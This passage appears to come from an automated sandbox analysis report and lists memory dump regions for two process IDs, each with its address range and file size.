                                                    Filesize

                                                    52KB

                                                  • memory/4412-63-0x00007FFA81140000-0x00007FFA8120D000-memory.dmp

                                                    Filesize

                                                    820KB

                                                  • memory/4412-289-0x00007FFA80C20000-0x00007FFA81140000-memory.dmp

                                                    Filesize

                                                    5.1MB

                                                  • memory/4412-290-0x000001CBB20B0000-0x000001CBB25D0000-memory.dmp

                                                    Filesize

                                                    5.1MB

                                                  • memory/4412-311-0x00007FFA815E0000-0x00007FFA81BC9000-memory.dmp

                                                    Filesize

                                                    5.9MB

                                                  • memory/4412-317-0x00007FFA81210000-0x00007FFA81387000-memory.dmp

                                                    Filesize

                                                    1.5MB

                                                  • memory/4412-312-0x00007FFA91300000-0x00007FFA91323000-memory.dmp

                                                    Filesize

                                                    140KB

                                                  • memory/4412-332-0x00007FFA81210000-0x00007FFA81387000-memory.dmp

                                                    Filesize

                                                    1.5MB

                                                  • memory/4412-340-0x00007FFA80B00000-0x00007FFA80C1C000-memory.dmp

                                                    Filesize

                                                    1.1MB

                                                  • memory/4412-346-0x00007FFA90CE0000-0x00007FFA90D03000-memory.dmp

                                                    Filesize

                                                    140KB

                                                  • memory/4412-345-0x00007FFA969A0000-0x00007FFA969B9000-memory.dmp

                                                    Filesize

                                                    100KB

                                                  • memory/4412-344-0x00007FFA90DD0000-0x00007FFA90DFD000-memory.dmp

                                                    Filesize

                                                    180KB

                                                  • memory/4412-343-0x00007FFA9A000000-0x00007FFA9A00F000-memory.dmp

                                                    Filesize

                                                    60KB

                                                  • memory/4412-342-0x00007FFA91300000-0x00007FFA91323000-memory.dmp

                                                    Filesize

                                                    140KB

                                                  • memory/4412-341-0x00007FFA815E0000-0x00007FFA81BC9000-memory.dmp

                                                    Filesize

                                                    5.9MB

                                                  • memory/4412-339-0x00007FFA952E0000-0x00007FFA952ED000-memory.dmp

                                                    Filesize

                                                    52KB

                                                  • memory/4412-338-0x00007FFA900E0000-0x00007FFA900F4000-memory.dmp

                                                    Filesize

                                                    80KB

                                                  • memory/4412-337-0x00007FFA80C20000-0x00007FFA81140000-memory.dmp

                                                    Filesize

                                                    5.1MB

                                                  • memory/4412-336-0x00007FFA81140000-0x00007FFA8120D000-memory.dmp

                                                    Filesize

                                                    820KB

                                                  • memory/4412-335-0x00007FFA90C80000-0x00007FFA90CB3000-memory.dmp

                                                    Filesize

                                                    204KB

                                                  • memory/4412-334-0x00007FFA986B0000-0x00007FFA986BD000-memory.dmp

                                                    Filesize

                                                    52KB

                                                  • memory/4996-84-0x000001E29CA10000-0x000001E29CA32000-memory.dmp

                                                    Filesize

                                                    136KB